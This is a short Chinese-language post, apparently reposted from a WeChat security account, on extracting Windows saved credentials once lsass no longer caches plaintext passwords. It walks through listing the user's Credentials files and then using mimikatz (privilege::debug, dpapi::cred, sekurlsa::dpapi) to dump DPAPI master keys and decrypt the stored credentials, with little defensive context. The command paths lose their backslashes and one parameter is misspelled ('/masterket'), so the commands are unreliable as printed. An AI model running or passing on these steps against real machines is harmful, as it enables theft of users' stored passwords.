众所周知,如果系统安装KB2871997补丁或者系统版本大于等于window server 2012时(服务器版本),大于等于win8.1(家庭版本)时,默认在lsass.exe这个进程中不会再将可逆的密文缓存在进程内存中,所以没办法通过这个进程来逆向获取明文密码了
所以,介绍另一个点Master Key Files,其是存放密钥的文件,查看本地用户的Credentials目录下的文件,获取到名称
dir /a %userprofile%AppDataLocalMicrosoftCredentials*
接着使用mimikatz来获取guidmasterkey
privilege::debug
dpapi::cred /in:C:UsersAdministratorAppDataLocalMicrosoftCredentialsA47CA779D8B065E5E81B05EC6C58173B
找对应的masterkey
sekurlsa::dpapi full
最后一步,进行解密
dpapi::cred /in:C:UsersAdministratorAppDataLocalMicrosoftCredentials23F9F66C38A139683865D2908E469D9E /masterket:4cdef69942f5b816200cb8fc822d4050d41de34092fb714b31aeb0c450c27f31cbf6a13c9c9be9916773736482bbc328acf806ef567aaab15e5a2145463df1c3
原文始发于微信公众号(Enginge):当windows系统无法直接获取密码的时候
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论